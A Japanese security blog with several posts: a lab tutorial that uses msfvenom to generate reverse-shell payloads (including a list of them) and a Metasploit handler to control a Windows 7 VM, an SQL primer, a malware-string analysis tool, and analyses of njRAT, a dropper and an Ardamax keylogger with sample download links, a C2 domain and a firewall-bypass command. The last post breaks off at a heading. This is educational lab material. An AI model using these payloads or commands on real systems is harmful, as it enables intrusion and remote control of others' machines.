Capture The Frog

かえるぴょこぴょこw

MENU

metasploitを使って軽く遠隔操作

今回は、metasploitを使って対象の端末を遠隔操作していきます。

metersploitは、自分の管理しているPCにのみ使用してください。
※悪用厳禁

また、今回は攻撃社側をkali linuxとしていますが、metasploitが使える環境であれば十分です。

 

対象のローカルipアドレス

192.168.3.1 (VirtualBox上のWindows7

自分のipアドレス

192.168.3.3(kali linux

 

1.

まず、kali linuxで自分のipアドレスを知っておきます。

このipは後で使用するので、後ほどする処理とは違うターミナルで実行したほうがいいかもしれません。

 

ifconfig

 

2.

1とは違うターミナルでmetasploitを開きます。-qはmetasploit開始時に出てくるアスキーアートを表示しないオプションです。

 

metasploit -q

 

3.

 対象で実行する.exeを作ります。msfvenomとは1つのモジュールでシェルコードやペイロードをコマンドで作成するツールです。


root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>

Options:
-p、-payload使用するペイロード。カスタムペイロードを使用するには、「-」またはstdinを指定。
    --payload-optionsペイロードの標準オプションを一覧表示。
    -l、-list [type]モジュールタイプを一覧表示。オプションは次のとおり:ペイロード、エンコーダー、nops、全て。
    -n、-nopsledペイロードに[長さ]サイズのnopsledを付加。
    -f、-format出力フォーマット(リストには--help-formatsを使用)。
        --help-formats利用可能なフォーマットを一覧表示。
    -e、-encoder使用するエンコーダー
    -a、-arch使用するアーキテクチャ
        --platformペイロードのプラットフォーム
        --help-platforms利用可能なプラットフォームを一覧表示。
    -s、-space結果のペイロードの最大サイズ
        --encoder-spaceエンコードされたペイロードの最大サイズ(デフォルトは-s値)
    -b、-bad-chars例を避けるための文字のリスト: '\ x00 \ xff'
    -i、-iterationsペイロードをエンコードする回数。
    -c、-add-code含める追加のwin32シェルコードファイルを指定。
    -x、-templateテンプレートとして使用するカスタム実行可能ファイルを指定。
    -k、-keepテンプレートの動作を保持し、ペイロードを新しいスレッドとして挿入。
    -o、-outペイロードを保存。
    -v、-var-name特定の出力形式に使用するカスタム変数名を指定。
        --smallest可能な限り最小のペイロードを生成。
    -h、-helpこのメッセージを表示する。

 

OS別のシェルコード


# Linux
## 32 bits
msfvenom -p linux/x86/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
## 64 bits
msfvenom -p linux/x64/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf > shell.elf
msfvenom -p generic/shell_bind_tcp RHOST=$rhost LPORT=$lport -f elf > term.elf

# Windows
## 32 bits
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/powershell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
## 64 bits
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/shell/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe > shell.exe

# Macintosh
msfvenom -p osx/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f macho > shell.macho
msfvenom -p osx/x86/shell_bind_tcp RHOST=$rhost LPORT=$lport -f macho > bind.macho

引用

qiita.com

ここでは、対象がwindows7なので下のコードを実行します。

LHOSTには、必ず自分の(攻撃者側の)ipアドレスを指定します。

 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.3 -f exe -o /root/windows7-exploit.exe

4.

windows7にこのファイルをコピーします。

3で/rootディレクトリに.exeを作ったので、そこからVirtualBox上のWindows7にコピーします。VirtualBoxでのファイルコピーは、共有フォルダを設定するのが一番手っ取り早いと思います。

 

5.

kali linuxでリバースシェルを待ち受けるため準備段階のコマンドを実行します。


use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.3.3
show options

最後にshow optionsで内容を確認します。

6.

ここまでできたら、実際に exploitを実行します。

exploit

まだ途中で止まると思いますが、正常なので7に進みましょう。

7.

 virtualBox上のwindows7で、3で作ったwindows7-exploit.exeを実行します。

すると、6のexploitが動き出します。

f:id:QWERTYtan:20210829194000p:plain

↑あくまで参考画像でipは違います。

 

8.

meterpreterが表示されたらペイロード完了です

f:id:QWERTYtan:20210829194111p:plain

あとは、ここにlinuxのコマンドを打てば攻撃対象を好き勝手に遠隔操作できます。

あと、meterpreterの詳しい使い方は、ここに載ってます。

www.offensive-security.com

 

ここまで読んでいただきありがとうございました。。

お疲れ様でした。

みなさんも、内部ネットワークで楽しんでみてください!

 

軽くSQL

SQLとは

SQLとはStructured Query Languageの略で、データベースとやりとりする言語です。

SQLには、データベースや表などを定義する「データ定義言語」と「データ操作言語」

の2つにわかれます。

 

表の作成

表を定義するには「CREATE TABLE」を使います。

代表的なカラムのタイプとしては、

・INTEGER

負の値も含んだ整数値を格納する。

・CHAR

最大バイト数を指定して文字列を格納する。

格納するデータが指定したものよりも少ない時は、空白で埋められる。

・VARCHAR

最大バイト数を指定して文字列を格納する点は、CHARと一緒だが、

格納するデータが指定したものよりも小さい場合は、その長さに合わせたデータ領域で格納されるという違いがある。

・TEXT

長文の保存に使用する。

しかし、CHAR・VARCHARに比べて検索スピードは遅くなる。

 

具体的な例:Citysという表を作る。項目は、Number・Region・Cityの3つ。


CREATE TABLE Citys(
   Number INTEGER,
    Region  VARCHAR(225),
    City   VARCHAR(225)
);

 実行したらこのようになってるはず

 Number Region City

表に書き込む

表に書き込むには、「INSERT INTO」を使います。

値を作った表の項目の順番で入れていく方法と、項目を指定して値を入れる2通りがあります。

 

具体的な例:上で作ったCitysに値を作った項目の順番で入れていく


INSERT INTO Citys VALUES(
1,'kanntou','Yokohama'
);

具体的な例:Citysに項目を指定して値を入れる


INSERT INTO Citys(Number,City)
VALUES(2,'Oosaka');

この場合は、2行目のRegionのところには既定値(ここではNULL)が入る。

実行したら、このようになってるはず

Number Region City
1 kanntou Yokohama
2 NULL Oosaka

表の表示

表を表示するには、「SELECT」を使います。

「SELECT * FROM 表の名前」で、表の中身を一覧表示する。

*のところに、列の項目の名前(ここでは、Number,Region,City)を入れると

その項目だけが表示されます。このように、表から特定の列を取り出すことを

「射影」といいます。

↓表の一覧表示

SELECT * FROM Citys

 

射影

SELECT City FROM Citys

 表に登録されているCityの列だけ表示される。

 

射影は列の取り出しでしたが、行の取り出しは「選択」といいます。

「選択」をするには、「WHERE」を使う必要があります。

表の一覧表示の後ろにWHERE 取り出したい列の中の要素をいれれば、選択を行うことができます。

具体的な例:Citysからkanntouの行だけ取り出す


SELECT * FROM Citys WHERE Region='kanntou';

 実行結果

 1 kanntou Yokohama

 上のように文字列を指定する場合には、''(シングルクォーテーション)で囲む必要があるので、そこだけ注意!

ちなみにWHEREの後には比較演算子・論理式も使えます。INTEGERのときだけに限りますが。

WHERE Number < 4とか。等しくないときは、<>を使います。

あとは、C言語の比較演算子と同じです。

他のもWHEREの後に続くのは色々あるのですが、今度気が向いたらそれについても記事として書いていきます。

 

表のアップデート

表のアップデートには、「UPDATE」を使います。

具体的な例:Citysの3行目のNULLをkinnkiにアップデートします。


UPDATE Citys
SET Region='kinnki'
WHERE Number=2;

少しわかりにくいかもしれませんが、SETのところで列を決めてkinnkiと書き換えています。そして、WHEREで書き換える行を指定しています。

UFOキャッチャーみたいな感じですね。

表の削除

 表の削除には、「DELETE」を使います。

DELETE FROM CitysでCitysは削除されます。

 

今回は、軽くSQLについてやってきましたが、本当に軽くこの記事には収まりきらないほどにSQLはもっと奥深いです。

時間がないのでこんな浅い感じになってしまって申し訳ないです。

でも、これだけ覚えてればデータベースを少しは触れると思います。

ここまで、付き合っていただきありがとうございました。

おつかれさまです。

では、また。

stellaとstellaf マルウェア表層解析ツール

stella

f:id:QWERTYtan:20211220220357p:plain

Windowsには、pestudioとか素晴らしいツールがあるのですが。

kali linuxvirtualbox上でwindows7とか10を動かすのは、いくら16GBのメモリを積んでるからと言っても極力避けたいのです。

そこでlinux上でぱぱっと動くWindowsマルウェア表層解析ツールを作ろうと思いました。幸いなことにlinuxにはxxd・strings・fileなどの素晴らしいコマンドがあるので

時短のためにもそれらを使って作りました。

 

 

github.com

 

stellaとstellafの2つを作ったのですが、

stellaとstellafの違いは、stringsコマンドかflossを使っているかの違いです。

マルウェアの中には、自身が簡単に解析されないように難読化をしているものがあります。難読化されている.exeファイルには "stellaf" を使ってください。

stellafのfは、flossというツールのfです。

github.com

 

 使い方

 

マルウェアの解析でよく出てくる怪しいstringsをまとめて、このマルウェアがどんな動きをするのかを最後にまとめてあります。↓

https://user-images.githubusercontent.com/72499679/130217115-7c5a4e03-a8c5-48e4-a184-a8ad12d35682.png

 

ubuntu系、debian系は必ず動くと思います。

linuxをお持ちでしたら、ぜひ一度試してみてください。

 

追記。。。。

stella_2.0をリリースしました。stellaは表形式で一気に表示しますが、それだと見たいところを見ることができないと思い、対話形式で動くようにしました。

f:id:QWERTYtan:20211214201809p:plain

f:id:QWERTYtan:20211214201846p:plain

また、前回はパスなど考えていなかったところまでやり、

パスを予め通してインストールすることで

ディレクトリを気にすることなくstellaを動かせるようにしました。

stella_1.0ではflossツールを使用するstellafとstellaで分けていましたが、

stella_2.0では内包して気軽にflossツールを使用することができます。

相変わらず、flossを使うと処理時間が長くなってしまうのも問題点だと思うので、

改善点だと自分でも考えています。

みなさん、マルウェアの表層解析にstella_2.0を

表層解析はだいぶ詰められたと思うので?、静的解析ツールなどを作っていきたいところです。

 

 

 

njRAT.exeの解析

今回は、njRAT.exeについてのレポートを書いていきます。

f:id:QWERTYtan:20210818122250p:plain

このマルウェアの名前にもあるRATというのは、マルウェアの種類で

標的攻撃を行って乗っ取りをするマルウェアのことですが、実際の挙動はどのようなものなのかを解析していきたいと思います。


サイト

github.com

theZooというマルウェアデータベースを利用しました。
マルウェアなのでダウンロードする際には、万全の注意を払ってください。
一切の責任は取れません。

 

MD5

0431311b5f024d6e66b90d59491f2563
SHA-256

fd624aa205517580e83fad7a4ce4d64863e95f62b34ac72647b1974a52822199
SHA1

e9ff4da7e3f2199cbc16d37d8935cb1b0567ac2a

 

↓theZoo内での様子

f:id:QWERTYtan:20210818095254p:plain

 

静的解析

ファイルシグニチャの確認

このようなマルウェアでは、ファイル拡張子が正しいとは限らないためファイルシグニチャを確認します。
ファイルシグニチャをfileコマンドで確認します。

f:id:QWERTYtan:20210818100908p:plain

よって、このマルウェアwindows7で動く32ビットのファイルだと分かりました。

 

オンラインデータベースでの検索

www.virustotal.com


ログインすると詳細な結果を見ることができます。

 

https://www.hybrid-analysis.com/sample/fd624aa205517580e83fad7a4ce4d64863e95f62b34ac72647b1974a52822199/580c670faac2ed71097ab7af


こちらはログインしなくても詳細な結果を見ることができます。

 

文字列の抽出

文字列とはファイル内に埋め込まれたASCII・Unicodeで表現可能な文字列のことです。これらを抽出すると、マルウェアの機能などに関する手がかりがつかめます
stringsコマンドは、4文字以上のASCII文字列を抽出します。
また、Flossツールを使用した難読化された文字列のデコードも行いました。
難読化とは、アンチウイルスソフトなどにウイルスと認識されないために行う手順の一つです。実際にパターンマッチング形式を用いたアンチウイルスソフトなどには見つかりにくいです。


これらの実行結果でnjRAT.exeの特徴が見られた興味深い文字列


GetThumbnailImageAbort
GetHashCode
GetClient
GetLastInputInfo
GetType
GetThumbnailImage
LateIndexGet
GetStream
LateGet
GetObject
GetCurrentProcess
GetProcesses
GetVersionInfo
GetProcessById
GetThumbnailImage
GetThumbnailImageAbort
GetValue
GetSubKeyNames
GetValueNames
GetValueKind
GetModules
GetTypes
GetString
GetBytes
GetWindowTextLengthA
GetWindowTextA
GetWindowThreadProcessId
GetForegroundWindow
GetVolumeInformationA
capGetDriverDescriptionA
GetAsyncKeyState
GetKeyboardLayout
GetKeyboardState

lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
ApplicationSettingsBase
SettingsBase
MySettings
AutoSaveSettings
set_SaveMySettingsOnExit
SetCompatibleTextRenderingDefault
SetProjectError
SetValue
LateIndexSetComplex
LateIndexSet
SetStyle
LateSet
SetKeyName
LateSetComplex
SetDataObject
SetText
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
NtSetInformationProcess
EmptyWorkingSet
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
MySettings
MySettingsProperty
ApplicationSettingsBase
AutoSaveSettings
SettingsBase
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator

 
ProcessStartInfo
ParameterizedThreadStart
ThreadStart
FormStartPosition
Start
StartsWith
RestartToolStripMenuItem
ParameterizedThreadStart
Start
StartsWith
ProcessStartInfo
ThreadStart
Start

FileSystem
File
FileAccess
FileInfo
FileMode
FileStream
FileSystemInfo
AssemblyFileVersionAttribute
FileDialog
OpenFileDialog
SaveFileDialog
SaveFile
FileLen
GetFiles
NewEmptyFileToolStripMenuItem
FileManagerToolStripMenuItem1
RunFileToolStripMenuItem
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator

Computer
ServerComputer
ComputerInfo
MyComputer
get_Computer
m_ComputerObjectProvider

get_LocalTime
get_LocalMachine
get_LocalTime

Sleep
cmd.exe /c ping 127.0.0.1 & del "
EnKSaR.HaCKeR.exe


User32.dll
mscoree.dll
avicap32.dll //画像なとを取り扱う

Twitter : https://twitter.com/njq8
4System.Web.Services.Protocols.SoapHttpClientProtocol
4System.Web.Services.Protocols.SoapHttpClientProtocol
<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">


上記コマンドの全ての実行結果がみたい場合

github.com

 

 

このマルウェアは他のマルウェアと同じようにスタートアップのパスを自身にも通して、シャットダウンされたとしても起動したときに自動的に実行されるようにしています。(2段目のAPI群)

 

また、Sleepもありデバッガを判断して解析を防ぐか、削除しようとしているときにコンピュータをスリープして削除されるのを防ぐかのどちらかを行うと考えられます。

 

GetThumbnailImageという見慣れない関数(自分が)がありますが、これはサムネイルを取得するAPI関数だそうです。Thumnailでサムネイルと読むことを知りました。

 

GetAsyncKeyState GetKeyboardLayout GetKeyboardState

は、典型的なキーロガーに使われるAPIです。

GetObjectは画像に使われるので、GUIがあるマルウェアということだと考えられます。

 

FileAccess FileInfo FileMode FileStream FileSystemInfo

は、ファイルのプロパティやファイル情報を集めています。

 

PublicKeyTokenという文字が見えますが、これは公開鍵暗号方式でどこかと通信をしていると考えられます。

 

ServerComputer ComputerInfo MyComputer

で、njRat.exeが実行されたコンピュータの名前を取得しています。

 

get_LocalTime get_LocalMachine get_LocalTime

で、どこの地域でこのマルウェアが実行されたかを調べています。

 

cmd.exe /c ping 127.0.0.1 & del "

とは、「cmd.exeで127.0.0.1pingを送ってその履歴を削除して」ということだと思います。cmd.exeの/cオプションは、cmd.exeで実行するコマンドを指しています。

127.0.0.1はローカルネットワークで自分のことを指すループバックアドレスです。

このコマンドを実行することでマルウェアが実行している機器が死んでいるか生きているかを調べているのだと思います。

 

EnKSaR.HaCKeR.exe

という実行ファイルがあるのでどんな実行ファイルかを調べると、

ハッシュ値が同じだったのでこれはnjRAT.exeのオリジナルネームのようで同じ実行ファイルと考えられます。

 

Twitter : https://twitter.com/njq8

また、Twitterもやっていました。

上のリンクのアカウントは削除されてしまっていましたが、

twitter.com

アカウントを変えていたようで、このnjRAT.exeに対するコメントもあったので

このマルウェアの作者・関係者だと考えられます。

f:id:QWERTYtan:20210818115846p:plainf:id:QWERTYtan:20210818115716p:plain

 

 

 

 

動的解析

inetsimを使って擬似的な応答を返しながら、wiresharkで監視していきたいと思います。

監視したかったのですが、実際にnjRAT.exeをダブルクリックすると

f:id:QWERTYtan:20210818120832p:plain

こんなエラーメッセージ画面がでてきました。

上の TwitterでもnjRAT.exeが動かないと言及している方がいたので

ええと思いながら実行されるのを願って、virtualboxを立ち上げてダブルクリック

したのですが。。

マルウェアが正常に動くのを願うなんておかしい話ですが。

ともかく、このエラーメッセージは本当にWindowsOSからのメッセージでdbgでnjRAT.exeを調べても全く動いていませんでした。

どこのサーバーにつながってどんな挙動をするのか静的解析をしていて楽しみにしてたので本当に残念です。

メモリフォレンジック

 

njRAT.exeが正常に動かないのでメモリフォレンジックもできません。。。

ほんとに残念です。

 

このnjRAT.exeについてまとめてみると、

・njRAT.exeは、ウイルスがする挙動をする

 「RAT」かもしれない。キーロガーに見られる特徴も見られたのでキーロガーの役割もあるのかもしれないです。曖昧になってしまって本当に申し訳ないです。

次からは正常に動くマルウェアのみ解析していきたいと思います。

しかし、RATのみの働きだけでなくキーロガーの特徴も見られたのはとても興味深かったです。

news.exeの解析

自由テキスト

今回は、news.exeについてのレポートを書いていきます。

f:id:QWERTYtan:20210817164723p:plain


サイト

syrianmalware.com


ダウンロードリンク

https://syrianmalware[.]com/samples/a8ef5ccebd2e3babdd243a2861673c26.zip


マルウェアなのでダウンロードする際には、万全の注意を払ってください。
一切の責任は取れません。

 

MD5

a8ef5ccebd2e3babdd243a2861673c26
SHA-256

039058cd0f349c8987a4a61a3de12660b78007235126ee75228933fda2343e4f
SHA1

297804c895c0c3b86695ce9bae1ce5dddd1f3f89

 

zipファイルの解凍ですが、Attack.m.exeと同じのため割愛します。

 

静的解析

ファイルシグニチャの確認

このようなマルウェアでは、ファイル拡張子が正しいとは限らないためファイルシグニチャを確認します。
ファイルシグニチャをfileコマンドで確認します。


よって、このマルウェア

f:id:QWERTYtan:20210817164335p:plain

windows7で動く32ビットのファイルだと分かりました。

 

オンラインデータベースでの検索

www.virustotal.com


ログインすると詳細な結果を見ることができます。

 

https://www.hybrid-analysis.com/sample/039058cd0f349c8987a4a61a3de12660b78007235126ee75228933fda2343e4f/5eb499bd88dd093e086aa07c#00196799-00003232
こちらはログインしなくても詳細な結果を見ることができます。

 

文字列の抽出

文字列とはファイル内に埋め込まれたASCII・Unicodeで表現可能な文字列のことです。これらを抽出すると、マルウェアの機能などに関する手がかりがつかめます
stringsコマンドは、4文字以上のASCII文字列を抽出します。
また、Flossツールを使用した難読化された文字列のデコードも行いました。
難読化とは、アンチウイルスソフトなどにウイルスと認識されないために行う手順の一つです。実際にパターンマッチング形式を用いたアンチウイルスソフトなどには見つかりにくいです。


これらの実行結果でnews.exeの特徴が見られた興味深い文字列

GetProcAddress
GetServerURL
GetWebRequest
GetProcessesByName
GetDelegateForFunctionPointer
GetCurrentProcess
GetObject
GetBytes
GetTypeFromHandle
GetEnumerator
GetString
GetObjectValue
LateGet
GetProcesses
GetEncoding
GetValue

get_StartupPath

get_FileName

 

Sleep

 

VarFileInfo
StringFileInfo
FileDescription
FileVersion
OriginalFilename

 

set_Compressed
set_PrefixForCompressedString
set_SuffixForCompressedString
set_Passphrase
set_KeySize
set_Position
set_Key
set_IV
set_Url
set_Timeout
set_Expect100Continue

CreateProcessW
CreateEncryptor
CreateDecryptor
CreateProjectError

 

InternalName
5.exe

Copyright
2005
"Powered by SmartAssembly 6.8.0.121
Name
LoginServiceSoapT
Namespace;

http://www.smartassembly.com/webservices/UploadReportLogin/`Name
ReportingServiceSoapT
Namespace3http://www.smartassembly.com/webservices/Reporting/
Ghttp://www.smartassembly.com/webservices/UploadReportLogin/GetServerURL

http://sawebservice.red-gate.com/

 


上記コマンドの全ての実行結果がみたい場合

github.com

 

この文字列から分かったこととしては、ファイルは再起動したときにスタートアップとして一緒に起動されようとしている。

デバッガやファイルが削除されようとしたときにスリープしようとしている。

http://sawebservice.red-gate.com/ここからコードを持ってきた?

暗号化してあるファイルの暗号を解こうとしている?

5.exeという名前も持っている。

また、news.exeはこのサイトによって難読化処理が施されているのが

分かりました。こうした正規のプログラム用に作られたソフトウェアがマルウェアの難読化につかわれてしまうのは、とても残念に思います。

f:id:QWERTYtan:20210817163721p:plain

 

www.red-gate.com

 

動的解析

inetsimを使って擬似的な応答を返しながら、wiresharkで監視していきたいと思います。

f:id:QWERTYtan:20210817190037p:plain


このnews.exeはファイルのダウンロードやアップロードは静的解析での読み通り行っていませんでした。

メモリフォレンジック

今回のような、

・特にダウンロードもアップロードも行わない
マルウェアの容量が他のマルウェアに比べ比較的大きい
キーロガーなどではなさそう

これを踏まえるとこのマルウェアは「ドロッパー」だと推定されます。

これを踏まえるとこのマルウェアは「ドロッパー」だと推定されます。

ドロッパーとは、追加のマルウェアコンポーネント(部品を内部に埋め込むプログラムのことです。ドロッパーが実行されるとマルウェアコンポーネントを抽出し、ディスクに配置します。しかし、まだ断定できるほどの情報が集まっていません。

そのため、逆アセンブラしてWindowsAPIを読み取ることによって、ドロッパーだろうという推察を確定させていきたいと思います。

 

ドロッパーは多くの場合、実行ファイルの

指定したファイルのリソースを戻り値とするFindResource関数、

メモリ内の最初のバイトへのポインタを戻り値するLoadResouce関数、

メモリ内の指定されたリソースへのポインタを取得するLockResource関数、

リソースのバイト数を取得するSizeOfResourece関数などが使われます。

今回これらが含まれているか逆アセンブルして調べてみたところ

 

↓それぞれの関数

f:id:QWERTYtan:20210817190925p:plain

f:id:QWERTYtan:20210817190957p:plain

f:id:QWERTYtan:20210817191010p:plain

f:id:QWERTYtan:20210817191019p:plain



それぞれが見つかりました。

そして、キーロガーに使われるGetAsyncKeyState関数・SetWindowsHookEx関数、

C2通信に使われるInternetOpenA関数などの関数は見つからなかったため

このnews.exeは「ドロッパー」であると断定することができました。

 

結論

このnews.exeについてまとめてみると、

・news.exeは、ウイルスがする挙動をする

 「ドロッパー」である。

です。

 

実は、このマルウェアは、

f:id:QWERTYtan:20210817191144p:plain

 

このように多層構造になっており、上から4つ目までは全てドロッパーと呼ばれるマルウェアです。

そして、一番最後のマルウェアについて軽く解析したところ

コマンドライン

netsh firewall add allowedprogram "C:\Users\admin\AppData\Local\Temp\chrome.exe" "chrome.exe" ENABLE

 と書いています。

これは、コマンドラインの通りfirewallchrome.exeを許させるコマンドで

これの他には、GetComputerNameW関数を行って環境を調べていました。

 

docs.microsoft.com

Aradamax.exeの解析

今回は、Aradamax.exeについてのレポートを書いていきます。

f:id:QWERTYtan:20210817100856p:plain

MD5

e33af9e602cbb7ac3634c2608150dd18
SHA-256

8c870eec48bc4ea1aca1f0c63c8a82aaadaf837f197708a7f0321238da8b6b75
SHA1

8f6ec9bc137822bc1ddf439c35fedc3b847ce3fe



theZooというオンラインデータベースからダウンロードしてきました。

github.com


マルウェアなのでダウンロードする際には、万全の注意を払ってください。
一切の責任は取れません。

 

 

 

f:id:QWERTYtan:20210817101456p:plainf:id:QWERTYtan:20210817101531p:plain

こうしてダウンロードしたファイルをunzipコマンドを使ってzipファイルを解凍します。

静的解析

ファイルシグニチャの確認

このようなマルウェアでは、ファイル拡張子が正しいとは限らないためファイルシグニチャを確認します。
ファイルシグニチャをfileコマンドで確認します。

f:id:QWERTYtan:20210817100537p:plain

よって、このマルウェアWindows7で動く32ビットのファイルだと分かりました。

 

オンラインデータベースでの検索

www.virustotal.com


ログインすると詳細な結果を見ることができます。

 

https://www.hybrid-analysis.com/sample/8c870eec48bc4ea1aca1f0c63c8a82aaadaf837f197708a7f0321238da8b6b75/5742c1f5aac2ed007be6d8da


こちらはログインしなくても詳細な結果を見ることができます。

 

文字列の抽出

文字列とはファイル内に埋め込まれたASCII・Unicodeで表現可能な文字列のことです。これらを抽出すると、マルウェアの機能などに関する手がかりがつかめます。
stringsコマンドは、4文字以上のASCII文字列を抽出します。
また、Flossツールを使用した難読化された文字列のデコードも行いました。
難読化とは、アンチウイルスソフトなどにウイルスと認識されないために行う手順の一つです。実際にパターンマッチング形式を用いたアンチウイルスソフトなどには見つかりにくいです。


これらの実行結果でAradamx.exeの特徴が見られた興味深い文字列

GetProcAddress
GetTempFileNameW
GetModuleFileNameW
GetModuleHandleW
GetTempPathW
GetModuleHandleA
GetStartupInfoA

SetFilePointer

__setusermatherr
__set_app_type

ReadFile
WriteFile
DeleteFileW

CreateFileW

LoadLibraryW
invalid block type
??1type_info@@UAE@XZ
__set_app_type
.?AVtype_info@@

MSVCRT.dll
__dllonexit
KERNEL32.dll
USER32.dll

上記コマンドの全ての実行結果がみたい場合

github.com

このAPIたちを見てみて分かったこととしては、このマルウェアは自身をスタートアップに登録することで再起動したときに自動的に起動しようとしている。

ファイルを新規作成・削除しようとしている。

ファイルを新しく作成して、そこにタイピングした文字を入力しようとしている?

 

動的解析

inetsimを使って擬似的な応答を返しながら、wiresharkで監視していきたいと思います。

f:id:QWERTYtan:20210817165924p:plain

このAradamax.exeはファイルのダウンロードやアップロードは静的解析での読み通り行っていませんでした。

また、特にGUIに変化は見られませんでした。

メモリフォレンジック

今回のような、

・ダウンロードするWindowsAPIが見当たらない
Skype.exeのようなドロッパーの機能が見当たらない
・関数をつかってキーロガーしているっぽい

これを踏まえるとこのマルウェアは「キーロガー」だと推定されます。

キーロガー」とは、タイプされたキーボードを傍受し、記録するように設計されたプログラムのことです。しかし、まだ断定できるほどの情報が集まっていません。

そのため、逆アセンブラしてWindowsAPI・自作関数の行っていることを読み取ることによって、「キーロガー」だろうという推察を確定させていきたいと思います。

キーロガー」は多くの場合、実行ファイルの

 

GetAsyncKeyState関数 キーボード上のキーのどれが押されたかを判断する、

SetWindowsHookEx関数 キーストロークをファイルに記録、ネットワーク経由で送信

 

www.tokovalue.jp

docs.microsoft.com

などが使われます。

しかし、これらのAPIは静的解析では見当たりませんでした。

f:id:QWERTYtan:20210817121254p:plain

f:id:QWERTYtan:20210817121350p:plain

そのため、このマルウェアでは__set_app_type中でこのAPIと同じ、もしくは

似たような処理をしていると考えられます。

また、静的解析の際にGetTempFileNameWがありましたよね。

このtmpファイルの中に、キーロガーをおこなっている証拠となるAPIが見つけられるのではないかと思いました。

 

tmpファイルの中に、

f:id:QWERTYtan:20210817154134p:plain

GetStringTypeW関数やKeybd_eventなどのキーストロークを監視することができる関数が多数見つかりました。写真内のkeyboard-and-mouseと書かれているAPIキーロガーするためのAPIです。また、このAPIは、DPBJ.exeによって行われたと考えられます。また、下のアドレスを利用してキーロガーした情報を送信していたのではいかと考えられます。

www.ardamax.com

techsupp@ardamax.com

http://aliahmahhmod.zapto.org/

 

 

ちょっと脱線

キーロガー作成ソフト

また、tmpファイルのAPIを探していたときに、

tmpファイルの中にこんな

f:id:QWERTYtan:20210817151322p:plain

怪しいstringsを見つけました。

これをgoogle検索にかけると、こんなものが見つかりました。

https://crackintopc.com/ardamax-keylogger-crack-plus-registration-key-latest/

また、こんな文字列もtmpファイルから見つかりました。

どうやらイタリア語で書かれたマルウェア作成ソフトらしいです。

f:id:QWERTYtan:20210817152042p:plain

最初は「こんなものもあるのか」ってびっくりしましたが、

そのあともずっとログをたどっていくとこのキーロガーソフトを作成者も使いこなせていないようで、作成時のエラーメッセージと思われる文が多くあり、おかしかったです。

 

 

結論

このAradamax.exeは「キーロガー」であると断定することができました。

 

このAradamax.exeについてまとめてみると、

・Aradamax.exeは、対象のキーストローク情報を傍受・送信をする

 「キーロガー」である。

です。

Skype.exeの解析

今回は、Attack.M.exe(ダウンローダーでダウンロードされるマルウェアSkype.exeについてのレポートを書いていきます。

f:id:QWERTYtan:20210816195032p:plain

サイト

syrianmalware.com

Skype.exeのダウンロードリンク

https://syrianmalware[.]com/samples/a9e6f5d4c5996ff1a067d4c5f9ade821[.]zip

マルウェアなのでダウンロードする際には、万全の注意を払ってください。

一切の責任は取れません。


MD5

a9e6f5d4c5996ff1a067d4c5f9ade821
SHA-256

85b765321ff4c6de751b001c58c625c2c2cd6352103d6bbda37b76c8af1b72c8
SHA1

c89972495918c70650d158a503e34d4d696d6f76

 

Zipファイルの解凍までは、Attack.M.exeと同様であるため静的解析から行っていきます。

 

静的解析

ファイルシグニチャの確認

このようなマルウェアでは、ファイル拡張子が正しいとは限らないためファイルシグニチャを確認します。

ファイルシグニチャはバイナリからでも分かりますが、fileコマンドの方がすぐに分かります。

↓xxdコマンドを使用したバイナリからの確認

f:id:QWERTYtan:20210815171545p:plain

先頭の2バイトをみると

4d 5a

であることから実行ファイルであることが分かります。

 

fileコマンドの方が端的。

f:id:QWERTYtan:20210815171840p:plain

結果は同様で32ビットの実行ファイルであることが分かります。

ちなみに、「PE32」だと32ビット・「PE32+」だと64ビットの実行ファイルです。

よって、このマルウェアWindows7で動く32ビットだとわかりました。

 

オンラインデータベースの検索結果

www.virustotal.com

ログインすると、詳細な結果が見ることができます。

 

HybridAnalyticsの検索結果

https://www.hybrid-analysis.com/sample/85b765321ff4c6de751b001c58c625c2c2cd6352103d6bbda37b76c8af1b72c8/604ef79f9d3b1e42660f6df2

こちらは、ログインしなくても詳細な結果が見ることができます。

 

文字列の抽出 

